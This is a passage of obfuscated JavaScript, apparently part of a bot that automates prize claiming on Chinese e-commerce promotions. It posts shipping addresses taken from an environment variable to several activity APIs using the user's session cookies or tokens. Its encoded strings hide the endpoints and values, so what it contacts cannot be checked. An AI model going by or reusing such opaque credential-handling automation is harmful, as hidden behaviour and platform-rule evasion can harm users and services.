GrBdIa0Epw3cLG','W79zW4VcImo3WOtdMCkAW7eFrCkM','W4uaW5C','W5iqA8o8mwz3WRK','WOJdUSoOWOn1kCof','eSkIuspdTq','WQlcNNjzWOO','y8kXWQdcVdu','r2y+WR4dncG','WOO0y2C','WP0GDgu','5Bwl6iw/5yIA5OYM5lQx5PwP6lAQ5z+R5z+QqEkFSYpNMy/OROhKUz3PM6dMNAJMIztLJy/LIjVNMy7NRjK','WPbfkWJdK05oW491xmoXW7RcKN5oAG','WQVcSwJcHmorW6OlpCoda8kGWQNdMgbjs8kJDZ7dQexcNSkkWOZcMXxcJdzzW5iIBmkp','tMyDWPy','DmoRECocWP4sW73cO3enDmohWPe','bSk3sqZdTeSZFtS8bq','vcdcVCkOsXnqbmkDBmo7W6v7','WQtdV8oDwW','W64cxv8nphOG','WQDDkmkbW75kDCoLlu0','EKG6WQm','xCkxoqSxxmoqnuNcOxG','B8oXzG','8lEPHuvEAKNcTI3dTCo4WPNdQGpORPtMSk/LP7tOTiJdMUkEVhe','W4ZcU8oF','rSkWWPCQW74','W4fruSkc','4P6Sb+MALEAEJUAlHEwpTUwiG+EzH+AvOEI0MUwEI+wFU+s/O+AbQ+AGJow+M+wSTUwEOEMuRoIVTo+9GUwnS+AwMos7OEI1LEAjM+I+U+wMR++/UmkR','j8kvWOVdIev6WRXF','b0uSWOC','WP/cU8o5W6GjFq','fSowyLHgFSoq','oKFdNxa','WPjApWe','W4lcNHvbyLZcSGNdRSo+WO3cOeKqaSkR','8yUjMtTjWO7dUmkNj3pdPCo8WPy/5lYc5AYB5PEf6lEL5zYU5z+C5AEI6lstvUkEHbG','WRddS0PrWRO','WPldVmknsSktbSonW4VdMSkFiCkJW6K','WOZdMmouW6ddO1ZdKahdRq','eSknFxS','WQvrtNi/pvy','WPCNvH7dNq','A8o9kKn5cSknW5ymjIZdGYDtWRb/WRDMjwdcT3XbW5ZcLmohWPr5omoNpGuI','WPRdJJ5FW7FdKSkZWPWRyG','rhKHWR4pnIFcVrb2W7BdNmknWPZcL8klw8ownCoEwmkerePZW5rfymkDsSkPudW','f8kCExzfxhFdG1xcGHNcKWjbCMe','W6NdQmoQbL/dRmoA','W5iuiSkfqbiaWPS8sCo0W6LJ','8yokNNSxW5TBsSoRBLRdPCkWW5JKV5dLRBNMLllOTQhLNQpLNkBLPyhOTlVcQ+kDJ8kD','ESkhWOddUx5ZWR1DWPxcTCojWOm5ySkX','W7TBW4NcI8oSWQRdNCkDW6SrtmoSc2dcV1ldUJhcGSkftCo3WQ7dT8kJW63dQMhcTCoxW7zgW7C','W6xcQSk4fSoec8of','bSogmSo8','W6xdOCohW7pcTaXIWPbaWPBcOG3dUmkNAmkLqW','fSoxC1jnASokf0a','WORcOmo+W7XkmmoaW4T5WPRdJCopFConWQRdJbK','W6HoW4NcI8oKWQRdMq','WR3cNxW','4P6lWRxPMlRMNjJMI7pLJOtLIitNMzRMLOZOTPBLNA/LNilKVyVMGBZMOO7LVQhLRjtLNy7PLihORRpVVklLJBJML5tKUBhOG7JKUzxNQ5xVV50S','WRGlW7qd','hCkjBgObxNRdNKRcIa','ySoUCCohWPyFW5JcSN4hDmkBWP7cGNBcGW','8lYBU0FcRZZcNXxdUCoYWR4jEtdOR7ZMS5BLPAdOTjddVokDVutML5pLKyVLUkNML47MJkq','W78bDmocWPHhyCo6m30','4P+PeoIoKEwmTEEuVEAkVoAuTEI1GUwETEwFVoMeS+E+JUs9M+AdOUw9UEw5TWJIN47dIa','WR4fW68oBGNcLa','z8o/DCok','WRSdWORcL0VdLgP+c8oFW4pcTmo1WRKFWQ4x','aMZdOCoUcvC3d8kXrW','WOD7Bfm','8kAiIcfiqNVdHIflWQvpW59X6k+/5RgJ5AA96lE/F+kDP8oU','WPVdJCosW6G','ag7dOCoTuqqae8k5smo4W6fwpmkiuai','W60wWRNcKIhcGKy','W6GXe8k9','WQ7dU8owtJS2uCkT','8jMjSSkTWQW6uSoLuCkQkSoku3tORl3MSyxLP5ROT5RdVUkCHLy','W40oW4tcQG','aLqOWORdIsy8W7v8W7ZdO8kXW483cCo1WPtcMuBdMSolWRlcN8oau8kYAMddH3u','8lEPHuvEAKNcTI3dTCo4WPNdQGpKVR7LRlxML7pOTiRLN4RLNAdLPAdOTl/cS+kFSeK','WQLkp8kEWQfMFmo/keLZCG','WP/dN8orySoQ','gJldJCoJWOxcI2pcRaJcL8ocE8kyW5rajmoJaZpdVuZdNgFdVSoao38eaHtdOXlcSYtcOquTWRvyDmkBW4xcOtznWR8x','ASkTW7/cTJvdW6LNWQe','a3xdVmo8','W5VcNCkmWQpcPXhcNvu','W7ddNSoFWQ9+W493m2JdQ8kDpW','W7foW5ZcL8kOWQJdKmkaW7qB','5yUW5Asr5y6b5AEA5zkN6k6G5B+X5PsP5lUP5OUM5yIZ','tSkNtI/dS2y7qcW4baNdUKDJW6m','W4XEuSkgz8oQybhdRmotemk2WOG','jGLCk2i8','8y6OVSkvus8KuCkoW4JdMcuNWORKV47LR6RMLPJOTAVLNzBLNzJLPA3OTi/cMUkCUfW','BvWTWQe','W6xcShtdH8oEW7Sfj8oEq8k+W6NdKZL8sCkTpYRdJLNcLCoi','WRhdOeXF','et0GWRSjlaVcUa','W4FcJXfm','swy2','W77cOCkQd8ouhmouW4a','WPRdJJ5wW7/dImkJ','WP7dGsjR','qSkPWOyGW7PVWRnurCopW61mW6W','aCocDvO','WPjcACoej01aWQq','WR3cS3hcNmoDW48djCopp8k3W6JdGW','vN0JWRSimG','bMtdUmoXfeCfaSk2s8o3WRPzy8ohxeVcLxJcLJ3dNviLB2vNWQfqsG','WQVcM8kVW6q1WPTp','8lg7LISvsmogWO8TsNpdUt8c6k6d5RgE5AEf6lEBW4xINliL5Psw5zcl5BU35PEo5O6x','ovpdINVdMmklta','mNiVsG','8y25QJJcM8ozW78pgCoybCk0W6pcGoIUUUAXVowKJEI3SxRIN4tcP+AxL+wqVUw4S+AwIEAoHW','WOjjm1yDW6hcMtLiD8oo','WQ3dPbLg','WQqzWPSkrSo/','8kk5HYLPtuLZW6DoWOqnW5Li6k+f5RgF5As+6lEbWQJINO5b','WOjaoaFdN15C','WQHzoCkq','stVdMSo4h0eibCkatSo9W5zCFCofxr4','W47cMCoszmo3g8kWnW','W5OBW4lcOSkeBSkIBmkU','8lgiVSksWOvskCoOWOVdMaJcJeWu6k+g5RcL5AwE6lw3W4NINiul','eZBcICodWQ4','W4RcGazbFLVcTG4','WPNdIJ5Z','8kQjM8oyW4T7yCkQAmkuWQ/cNmkvEoIVO+AYLUwNKoI3Q8k/4PYpAq','qMWLWPOjidtcUG','WQlcHMLtWOhdQCkRexG','dLC/','WOXiFq','DCk2W6O','WRBcL293WOddOmk2hW','jhyQxSkpWOWk','8kQ6UhTyWOVcIrVdQJSxWQZdIYFORRBMSlBLPixOT6fV4P23yUAxLUwrM+w4REAvOEAoMW','WPa6sX3dISogWRy'];_0x59b7=function(){return _0x94c120;};return _0x59b7();}const delay=_0x1024d4=>new Promise(_0x2b66fd=>setTimeout(_0x2b66fd,_0x1024d4));function formatDate(_0x3c577c){const _0x546beb=_0x32f236;let _0x24710b=_0x3c577c[_0x546beb(0xec,'ea*f')](),_0x7d890c=('0'+(_0x3c577c[_0x546beb(0xac,'j6xo')]()+0x1))[_0x546beb(0xf6,'yY#H')](-0x2),_0x3a3e70=('0'+_0x3c577c[_0x546beb(0x141,'#BiY')]())[_0x546beb(0xa3,'0kMV')](-0x2),_0x51ac6b=('0'+_0x3c577c[_0x546beb(0xa7,'Qg#z')]())[_0x546beb(0xa3,'0kMV')](-0x2),_0x27bd26=('0'+_0x3c577c[_0x546beb(0x108,'#BiY')]())[_0x546beb(0xe2,'j6xo')](-0x2);return _0x24710b+'-'+_0x7d890c+'-'+_0x3a3e70+'\x20'+_0x51ac6b+':'+_0x27bd26;}const now=new Date(),formattedCurrentTime=formatDate(now);async function wuxian_savePrize(_0x445c02){const _0x4bebf5=_0x32f236;let {baseUrl:_0x335044,cookie:_0x2210cd,ua:_0xc6011f,activityId:_0x3663e8,activityType:_0x520672,venderId:_0x4982a8,secretPin:_0x884e07,prizeName:_0x2d32da,generateId:_0x3158ce,activityUrl:activityUrl=_0x335044}=_0x445c02;const _0x147d60=_getUserConfig(_0x2d32da);if(typeof _0x147d60===_0x4bebf5(0x11e,'1mA&')&&!_0x147d60)return![];const {receiver:_0x526735,phone:_0x391cb1,province:_0x42a484,city:_0x7a013b,county:_0x3c8272,address:_0x5f5e55,areaCode:_0x20e232,postalCode:_0x45073e,index:_0x1ff160}=_0x147d60;let _0x512ddf;Array[_0x4bebf5(0x149,'WSHh')](_0x4982a8)&&(_0x512ddf=_0x4982a8[0x1],_0x4982a8=_0x4982a8[0x0]);const _0x206d28=_0x335044+_0x4bebf5(0x10e,'JMtQ'),_0x4cc1e9={'venderId':_0x4982a8,'pin':_0x335044[_0x4bebf5(0x140,'H!0m')](_0x4bebf5(0x142,'#BiY'))?encodeURIComponent(_0x884e07):_0x884e07,'activityId':_0x3663e8,'actType':_0x520672,'prizeName':_0x2d32da,'receiver':_0x526735,'phone':_0x391cb1,'province':_0x42a484,'city':_0x7a013b,'county':_0x3c8272,'areaCode':_0x20e232,'address':_0x5f5e55,'generateId':_0x3158ce,'postalCode':_0x45073e},_0x2c60d1={'url':_0x206d28,'method':_0x4bebf5(0x122,'ee@Z'),'headers':{'Accept':'application/json','Accept-Encoding':_0x4bebf5(0x125,'3*yP'),'Accept-Language':_0x4bebf5(0xbb,'TO^c'),'Connection':_0x4bebf5(0xc2,'WkNp'),'Content-Type':_0x4bebf5(0x107,'tTXN'),'Cookie':_0x2210cd,'Origin':_0x335044,'Referer':activityUrl,'User-Agent':_0xc6011f},'data':_0x4cc1e9,'timeout':0x7530},_0x87f9c5=0x3;let _0x463199=0x0,_0x1c44fd=null;while(_0x463199<_0x87f9c5){_0x463199>0x0&&await delay(0x3e8);const _0x2d9293=await common[_0x4bebf5(0x105,'ee@Z')](_0x2c60d1);if(!_0x2d9293[_0x4bebf5(0x14b,'twfX')]){_0x1c44fd=_0x4bebf5(0xa2,')X2R')+_0x2d9293['error'],_0x463199++;continue;}if(!_0x2d9293[_0x4bebf5(0xe6,'%RCc')]){_0x1c44fd=_0x4bebf5(0xbf,'H!0m'),_0x463199++;continue;}if(_0x2d9293[_0x4bebf5(0x9e,'WKts')]['result'])return _successCallback(_0x526735,_0x391cb1,_0x1ff160,_0x2d32da,activityUrl),!![];else{if(_0x463199===0x0&&_0x512ddf){_0x2c60d1[_0x4bebf5(0x127,'S!]d')]={'venderId':_0x512ddf,'pin':_0x335044[_0x4bebf5(0xa4,'VAyV')](_0x4bebf5(0xee,'9HxD'))?encodeURIComponent(_0x884e07):_0x884e07,'activityId':_0x3663e8,'actType':_0x520672,'prizeName':_0x2d32da,'receiver':_0x526735,'phone':_0x391cb1,'province':_0x42a484,'city':_0x7a013b,'county':_0x3c8272,'areaCode':_0x20e232,'address':_0x5f5e55,'generateId':_0x3158ce,'postalCode':_0x45073e},_0x463199++;continue;}_0x1c44fd=_0x4bebf5(0xc4,'WSHh')+(_0x2d9293[_0x4bebf5(0xb4,'tTXN')]?.['errorMessage']||JSON[_0x4bebf5(0xa1,'^C[%')](_0x2d9293[_0x4bebf5(0xcf,'JMtQ')]));}break;}return _0x463199>=_0x87f9c5&&console[_0x4bebf5(0xb9,'JyKE')](_0x1c44fd),![];}async function wxSavePrize(_0x289898,_0x33b9ef,_0x53708f,_0x4fcac7,_0x4cc629,_0x4a8adc,_0x482433,_0x21866,_0x1ffc35){return await wuxian_savePrize({'baseUrl':_0x289898,'cookie':_0x33b9ef,'ua':_0x53708f,'activityId':_0x4fcac7,'activityType':_0x4cc629,'venderId':_0x4a8adc,'secretPin':_0x482433,'prizeName':_0x21866,'generateId':_0x1ffc35});}async function lzdz1_savePrize(_0x470d27){const _0x66afd2=_0x32f236;let {baseUrl:_0x65771b,requestUrl:_0x1c2fc9,uuid:_0x35c7e8,cookie:_0x517fc9,ua:_0x466374,activityId:_0xd8ee11,activityType:_0x4b05ca,venderId:_0x1f3af0,secretPin:_0x2368d2,prizeName:_0x3344f5,itemsId:_0x4a8ac2,activityUrl:activityUrl=_0x65771b}=_0x470d27;const _0x2a42e7=_getUserConfig(_0x3344f5);if(typeof _0x2a42e7===_0x66afd2(0xe4,'Qg#z')&&!_0x2a42e7)return![];const {receiver:_0x3af5a2,phone:_0x23e5c6,province:_0x53db13,city:_0x55a16a,county:_0x15c737,address:_0x43a04e,areaCode:_0x15d204,postalCode:_0x652a8d,index:_0x240a49}=_0x2a42e7,_0x23c7ba=_0x1c2fc9,_0x44d160={'venderId':_0x1f3af0,'activityId':_0xd8ee11,'uuid':_0x35c7e8,'actType':_0x4b05ca,'prizeName':_0x3344f5,'receiver':_0x3af5a2,'phone':_0x23e5c6,'province':_0x53db13,'city':_0x55a16a,'county':_0x15c737,'areaCode':_0x15d204,'address':_0x43a04e,'itemsId':_0x4a8ac2,'postalCode':_0x652a8d,'idCardNumber':'','pin':_0x2368d2},_0x19542e={'url':_0x23c7ba,'method':_0x66afd2(0x14f,'#BiY'),'headers':{'Accept':_0x66afd2(0x10a,'G&1Q'),'Accept-Encoding':_0x66afd2(0x120,'nCCl'),'Accept-Language':'zh-cn','Connection':_0x66afd2(0xf0,'WKts'),'Content-Type':_0x66afd2(0xd0,'RRNl'),'Cookie':_0x517fc9,'Origin':_0x65771b,'Referer':activityUrl,'User-Agent':_0x466374},'data':_0x44d160,'timeout':0x7530},_0x52745a=0x3;let _0x2ca72c=0x0,_0x2eef4b=null;while(_0x2ca72c<_0x52745a){_0x2ca72c>0x0&&await delay(0x3e8);const _0x1db467=await common[_0x66afd2(0xad,'n]yW')](_0x19542e);if(!_0x1db467['success']){_0x2eef4b=_0x66afd2(0xa6,'JMtQ')+_0x1db467[_0x66afd2(0x101,'JyKE')],_0x2ca72c++;continue;}if(!_0x1db467[_0x66afd2(0xb5,']kR5')]){_0x2eef4b=_0x66afd2(0xae,'n]yW'),_0x2ca72c++;continue;}if(_0x1db467['data'][_0x66afd2(0x138,'jdI7')])return _successCallback(_0x3af5a2,_0x23e5c6,_0x240a49,_0x3344f5,activityUrl),!![];else _0x2eef4b=_0x66afd2(0x12c,'VAyV')+(_0x1db467[_0x66afd2(0xfa,'In&u')]?.[_0x66afd2(0x12d,'WKts')]||JSON[_0x66afd2(0x113,'ewh0')](_0x1db467[_0x66afd2(0x127,'S!]d')]));break;}return _0x2ca72c>=_0x52745a&&console[_0x66afd2(0xab,'zjDQ')](_0x2eef4b),![];}async function lzdz_savePrize(_0x28593d){const _0x4eedf6=_0x32f236;let {baseUrl:_0x402069,requestUrl:_0x34cd73,cookie:_0x516653,ua:_0x320b0f,activityId:_0x3e38c8,activityType:_0x4719df,venderId:_0x1aa12e,secretPin:_0x19d2f0,prizeName:_0x25ef55,itemsId:_0x10c7ef,activityUrl:activityUrl=_0x402069}=_0x28593d;const _0x509d53=_getUserConfig(_0x25ef55);if(typeof _0x509d53===_0x4eedf6(0xb1,'In&u')&&!_0x509d53)return![];const {receiver:_0xe4f89f,phone:_0x50f9a8,province:_0x5ebed4,city:_0x49c7be,county:_0x2324fd,address:_0x193ccc,areaCode:_0x383ae0,postalCode:_0x565141,index:_0x3bf913}=_0x509d53,_0x23c6fe=_0x34cd73,_0x15268c={'venderId':_0x1aa12e,'activityId':_0x3e38c8,'actType':_0x4719df,'prizeName':_0x25ef55,'receiver':_0xe4f89f,'phone':_0x50f9a8,'province':_0x5ebed4,'city':_0x49c7be,'county':_0x2324fd,'areaCode':_0x383ae0,'address':_0x193ccc,'itemsId':_0x10c7ef,'postalCode':_0x565141,'idCardNumber':'','pin':_0x19d2f0},_0x155d79={'url':_0x23c6fe,'method':_0x4eedf6(0xea,'DCYh'),'headers':{'Accept':_0x4eedf6(0xe8,'WkNp'),'Accept-Encoding':_0x4eedf6(0x112,']kR5'),'Accept-Language':_0x4eedf6(0xd8,'ee@Z'),'Connection':_0x4eedf6(0x119,'G&1Q'),'Content-Type':_0x4eedf6(0x10f,'1pca'),'Cookie':_0x516653,'Origin':_0x402069,'Referer':activityUrl,'User-Agent':_0x320b0f},'data':_0x15268c,'timeout':0x7530},_0x555ee6=0x3;let _0x11a9b7=0x0,_0x465f2e=null;while(_0x11a9b7<_0x555ee6){_0x11a9b7>0x0&&await delay(0x3e8);const _0x5d7c76=await common['request'](_0x155d79);if(!_0x5d7c76[_0x4eedf6(0xfc,'ewh0')]){_0x465f2e=_0x4eedf6(0x9c,'G&1Q')+_0x5d7c76['error'],_0x11a9b7++;continue;}if(!_0x5d7c76[_0x4eedf6(0xa5,'#BiY')]){_0x465f2e=_0x4eedf6(0x14d,'15t('),_0x11a9b7++;continue;}if(_0x5d7c76[_0x4eedf6(0x11f,'5!XB')][_0x4eedf6(0xb0,'NLnH')])return _successCallback(_0xe4f89f,_0x50f9a8,_0x3bf913,_0x25ef55,activityUrl),!![];else _0x465f2e=_0x4eedf6(0x139,'9HxD')+(_0x5d7c76[_0x4eedf6(0x144,'ewh0')]?.[_0x4eedf6(0xdd,'1pca')]||JSON[_0x4eedf6(0x130,'zjDQ')](_0x5d7c76[_0x4eedf6(0x144,'ewh0')]));break;}return _0x11a9b7>=_0x555ee6&&console[_0x4eedf6(0x13f,'Qg#z')](_0x465f2e),![];}async function lzkj_interactsaas_savePrize(_0x386fc5){const _0x3645c0=_0x32f236;let {baseUrl:_0x142dc6,newbaseUrl:_0x360942,ua:_0x34a7e3,token:_0x374b94,prizeName:_0x2d8efc,orderCode:_0x36b130,activityUrl:activityUrl=_0x142dc6}=_0x386fc5;const _0x12545f=_getUserConfig(_0x2d8efc);if(typeof _0x12545f==='boolean'&&!_0x12545f)return![];const {receiver:_0x329a5c,phone:_0x28a2e0,province:_0x18b762,city:_0x347872,county:_0x6a8759,address:_0x2582a1,index:_0x4ab7f6}=_0x12545f,_0x552f3e=_0x360942+_0x3645c0(0xb6,'VAyV'),_0x2f4019={'realName':_0x329a5c,'mobile':_0x28a2e0,'address':_0x2582a1,'orderCode':_0x36b130,'province':_0x18b762,'city':_0x347872,'county':_0x6a8759},_0x3cbaac={'url':_0x552f3e,'method':_0x3645c0(0xb3,'g0S1'),'headers':{'Accept':_0x3645c0(0x11a,'5!XB'),'Accept-Encoding':_0x3645c0(0xdc,'G&1Q'),'Accept-Language':_0x3645c0(0xe3,'zjDQ'),'Connection':_0x3645c0(0x134,'1pca'),'Content-Type':_0x3645c0(0x12b,'In&u'),'token':_0x374b94,'Origin':_0x142dc6,'Referer':_0x552f3e+'/','User-Agent':_0x34a7e3},'data':_0x2f4019,'timeout':0x7530},_0x488e62=0x3;let _0x445e4c=0x0,_0x25d9a4=null;while(_0x445e4c<_0x488e62){_0x445e4c>0x0&&await delay(0x3e8);const _0x2d932a=await common[_0x3645c0(0x110,'H!0m')](_0x3cbaac);if(!_0x2d932a['success']){_0x25d9a4=_0x3645c0(0x123,'ewh0')+_0x2d932a[_0x3645c0(0xbd,'ewh0')],_0x445e4c++;continue;}if(!_0x2d932a[_0x3645c0(0x13e,'VAyV')]){_0x25d9a4=_0x3645c0(0x11b,'S!]d'),_0x445e4c++;continue;}if(_0x2d932a[_0x3645c0(0xb8,'1d(Z')][_0x3645c0(0xd7,'9X*j')]===0x0)return _successCallback(_0x329a5c,_0x28a2e0,_0x4ab7f6,_0x2d8efc,activityUrl),!![];else{if(!_0x2d932a[_0x3645c0(0x14c,'n]yW')]['success'])return console[_0x3645c0(0xd6,'G&1Q')](_0x3645c0(0x12c,'VAyV')+(_0x2d932a[_0x3645c0(0xc1,'j6xo')][_0x3645c0(0x145,'G9^D')]||JSON[_0x3645c0(0xa8,'j6xo')](_0x2d932a['data']))),![];else _0x25d9a4=_0x3645c0(0x100,'j6xo')+(_0x2d932a[_0x3645c0(0x13e,'VAyV')][_0x3645c0(0xf9,'JMtQ')]||JSON['stringify'](_0x2d932a[_0x3645c0(0x13c,'JyKE')]));}break;}return _0x445e4c>=_0x488e62&&console[_0x3645c0(0x116,'j6xo')](_0x25d9a4),![];}async function loreal_savePrize(_0x57ea17){const {baseUrl:_0x260177,newbaseUrl:_0x50b576,cookie:_0x39e6af,ua:_0x719080,token:_0xf9a9c8,prizeName:_0x30e975,orderCode:_0x4c1d6a,activityUrl:activityUrl=_0x260177}=_0x57ea17;return await lzkj_interactsaas_savePrize({'baseUrl':_0x260177,'newbaseUrl':_0x50b576,'cookie':_0x39e6af,'ua':_0x719080,'token':_0xf9a9c8,'prizeName':_0x30e975,'orderCode':_0x4c1d6a,'activityUrl':activityUrl});}async function lzkj_interaction_v2_savePrize(_0x52a1a3){const _0x1e84c2=_0x32f236;let {baseUrl:_0x54fb4e,newbaseUrl:_0x5d8c88,ua:_0x225fd3,token:_0x57a1fa,activityId:_0x9405a6,shopId:_0x2b540c,activityType:_0x250018,prizeName:_0x355b6f,addressId:_0x48d560,activityPrizeId:_0x26630b,activityUrl:activityUrl=_0x54fb4e}=_0x52a1a3;const _0x3078e9=_getUserConfig(_0x355b6f);if(typeof _0x3078e9==='boolean'&&!_0x3078e9)return![];const {receiver:_0x3bba69,phone:_0x2b5bfc,province:_0x14d307,city:_0x121e33,county:_0x20c4ef,address:_0x41e462,index:_0x503d15}=_0x3078e9,_0x481b70=_0x5d8c88+_0x1e84c2(0xb2,'WKts')+_0x250018+_0x1e84c2(0x136,'ea*f'),_0x227bb8={'realName':_0x3bba69,'mobile':_0x2b5bfc,'address':_0x41e462,'province':_0x14d307,'city':_0x121e33,'county':_0x20c4ef,'addressId':_0x48d560,'activityPrizeId':_0x26630b},_0x3531df=CryptoModule[_0x1e84c2(0xeb,'5!XB')]['interactionV2'][_0x1e84c2(0xb7,'%RCc')](_0x227bb8),_0x20464d={'url':_0x481b70,'method':'POST','headers':{'Accept':_0x1e84c2(0xff,'VAyV'),'Accept-Encoding':'gzip,\x20deflate,\x20br','Accept-Language':'zh-cn','Connection':_0x1e84c2(0xce,'jdI7'),'Content-Type':_0x1e84c2(0x148,'3*yP'),'Origin':_0x54fb4e,'Referer':activityUrl,'User-Agent':_0x225fd3,'Activity-Id':_0x9405a6,'Activity-Type':_0x250018,'Pin-Token':_0x57a1fa,'Shop-Id':_0x2b540c},'data':_0x3531df,'timeout':0x7530},_0x580a62=0x3;let _0x308c77=0x0,_0x51634c=null;while(_0x308c77<_0x580a62){_0x308c77>0x0&&await delay(0x3e8);const _0xa621f5=await common['request'](_0x20464d);if(!_0xa621f5[_0x1e84c2(0x10b,')6mM')]){_0x51634c=_0x1e84c2(0x129,'zjDQ')+_0xa621f5[_0x1e84c2(0x106,'NLnH')],_0x308c77++;continue;}if(!_0xa621f5['data']){_0x51634c=_0x1e84c2(0x14a,'DIl4'),_0x308c77++;continue;}if(_0xa621f5[_0x1e84c2(0xc5,'zjDQ')][_0x1e84c2(0x12a,'^C[%')]&&typeof _0xa621f5[_0x1e84c2(0x13e,'VAyV')][_0x1e84c2(0xf7,'RRNl')]===_0x1e84c2(0x147,'Qg#z'))try{_0xa621f5[_0x1e84c2(0x104,'G&1Q')]['data']=CryptoModule[_0x1e84c2(0x143,'yY#H')][_0x1e84c2(0x137,'RRNl')]['decrypt'](_0xa621f5[_0x1e84c2(0xfa,'In&u')][_0x1e84c2(0x124,'9X*j')]);}catch{}if(_0xa621f5['data'][_0x1e84c2(0xfe,'WkNp')]===0xc8)return _successCallback(_0x3bba69,_0x2b5bfc,_0x503d15,_0x355b6f,activityUrl),!![];else _0x51634c=_0x1e84c2(0x10d,'WkNp')+(_0xa621f5[_0x1e84c2(0x131,'3*yP')]?.['message']||JSON[_0x1e84c2(0x103,'9X*j')](_0xa621f5['data']));break;}return _0x308c77>=_0x580a62&&console[_0x1e84c2(0xaa,'G9^D')](_0x51634c),![];}async function jinggeng_savePrize(_0x2c0bac){const _0xb2b88d=_0x32f236;let {baseUrl:_0x4886a0,cookie:_0x54bb32,ua:_0x21ab4f,venderId:_0x217fd9,prizeName:_0x5c47f4,orderCode:_0x43ff0d,activityUrl:activityUrl=_0x4886a0}=_0x2c0bac;const _0x3a5aae=_getUserConfig(_0x5c47f4);if(typeof _0x3a5aae===_0xb2b88d(0xaf,'NLnH')&&!_0x3a5aae)return![];const {receiver:_0x26f30a,phone:_0x37de6c,province:_0x13c84d,city:_0x2cb518,county:_0x2497a2,address:_0x22c762,index:_0xb6ed2}=_0x3a5aae,_0x52400b=_0x4886a0+_0xb2b88d(0x13b,'15t('),_0x33d0af={'receiverName':_0x26f30a,'mobile':_0x37de6c,'address':_0x13c84d+'+'+_0x2cb518+'+'+_0x2497a2+_0x22c762,'log_id':_0x43ff0d,'user_id':_0x217fd9},_0x5d728a={'url':_0x52400b,'method':_0xb2b88d(0x122,'ee@Z'),'headers':{'Accept':_0xb2b88d(0x109,'Qg#z'),'Accept-Encoding':_0xb2b88d(0x114,'TO^c'),'Accept-Language':_0xb2b88d(0x12f,'0kMV'),'Connection':_0xb2b88d(0xbc,'1d(Z'),'Content-Type':_0xb2b88d(0xe9,'15t('),'Cookie':_0x54bb32,'Origin':_0x4886a0,'Referer':_0x52400b+'/','User-Agent':_0x21ab4f},'data':_0x33d0af,'timeout':0x7530},_0x3c34ad=0x3;let _0x102f90=0x0,_0x1decae=null;while(_0x102f90<_0x3c34ad){_0x102f90>0x0&&await delay(0x3e8);const _0x4db892=await common['request'](_0x5d728a);if(!_0x4db892[_0xb2b88d(0x9d,'WkNp')]){_0x1decae=_0xb2b88d(0xf4,'VAyV')+_0x4db892[_0xb2b88d(0x12e,'MKI)')],_0x102f90++;continue;}if(!_0x4db892[_0xb2b88d(0x13c,'JyKE')]){_0x1decae=_0xb2b88d(0x14a,'DIl4'),_0x102f90++;continue;}if(_0x4db892[_0xb2b88d(0xc5,'zjDQ')][_0xb2b88d(0x13a,'DCYh')])return _successCallback(_0x26f30a,_0x37de6c,_0xb6ed2,_0x5c47f4,activityUrl),!![];else{if(_0x4db892[_0xb2b88d(0x111,'2l4R')][_0xb2b88d(0xe5,'%RCc')]===![])return console[_0xb2b88d(0xc0,'WkNp')]('🚫\x20保存收货地址失败\x20➜\x20'+(_0x4db892[_0xb2b88d(0xfa,'In&u')][_0xb2b88d(0xf5,'g0S1')]||JSON['stringify'](_0x4db892[_0xb2b88d(0xf1,'DCYh')]))),![];else _0x1decae='🚫\x20savePrize\x20保存收货地址失败\x20➜\x20'+(_0x4db892[_0xb2b88d(0x118,'1mA&')][_0xb2b88d(0xa9,'In&u')]||JSON[_0xb2b88d(0xc8,'RDfy')](_0x4db892[_0xb2b88d(0xc5,'zjDQ')]));}break;}return _0x102f90>=_0x3c34ad&&console['log'](_0x1decae),![];}function _getUserConfig(_0x454115){const _0x2cd97f=_0x32f236;try{const _0x7c228d=process['env']['WX_ADDRESS']||'',_0x4dc778=process[_0x2cd97f(0xc9,'JMtQ')][_0x2cd97f(0xd9,'^C[%')]||'';if(_0x7c228d==='')return![];const _0x23086b=_0x7c228d['split']('|'),_0x378a25=Math[_0x2cd97f(0xdb,')X2R')](Math[_0x2cd97f(0xfb,'TO^c')]()*_0x23086b[_0x2cd97f(0x150,'kM[^')]);if(_0x23086b[_0x378a25]==='')return console['log']('❌\x20随机抽取到的收货地址信息为空,请正确使用\x20\x22|\x22\x20管道符以用于分割多个收货地址!\x0a'),![];const [_0x582e14,_0x2646c4,_0x10c92f,_0x9546d6,_0x4fd780,_0x582d7d,_0xe2040f,_0x23fdd8]=_0x23086b[_0x378a25][_0x2cd97f(0xd2,'n]yW')]('@');if(_0x23fdd8===undefined)return console[_0x2cd97f(0xcc,'tTXN')](_0x2cd97f(0xf8,'G9^D')),![];for(let _0x1f34c3=0x0;_0x1f34c3<0x7;_0x1f34c3++){if(_0x23086b[_0x1f34c3]==='')return console[_0x2cd97f(0xc0,'WkNp')](_0x2cd97f(0x117,'9HxD')),![];}if(_0x4dc778!==''){const _0xb7b9e2=_0x4dc778[_0x2cd97f(0xe1,'ea*f')]('@');if(_0xb7b9e2[_0x2cd97f(0xd4,'JMtQ')](_0x2c7cbf=>_0x454115[_0x2cd97f(0x128,'9HxD')](_0x2c7cbf)))return console[_0x2cd97f(0xda,'DCYh')](_0x2cd97f(0xc3,'nCCl')),![];}return{'receiver':_0x582e14,'phone':_0x2646c4,'province':_0x10c92f,'city':_0x9546d6,'county':_0x4fd780,'address':_0x582d7d,'areaCode':_0xe2040f,'postalCode':_0x23fdd8,'index':_0x378a25};}catch(_0x4118fa){return console[_0x2cd97f(0xde,'^C[%')](_0x2cd97f(0x11d,'RRNl')+(_0x4118fa[_0x2cd97f(0xc7,'9X*j')]||_0x4118fa)),![];}}function _successCallback(_0x3339d0,_0x2e781d,_0x2a7ae6,_0x17a84e,_0x400b94){const _0x53d852=_0x32f236;console['log'](_0x53d852(0xe7,')X2R')+(_0x2a7ae6+0x1)+'套收货地址信息\x0a联系信息:'+_0x3339d0+'\x20('+_0x2e781d[_0x53d852(0x115,'1pca')](/^(\d{3})\d{4}(\d{4})$/,_0x53d852(0x132,'9X*j'))+')\x0a');const 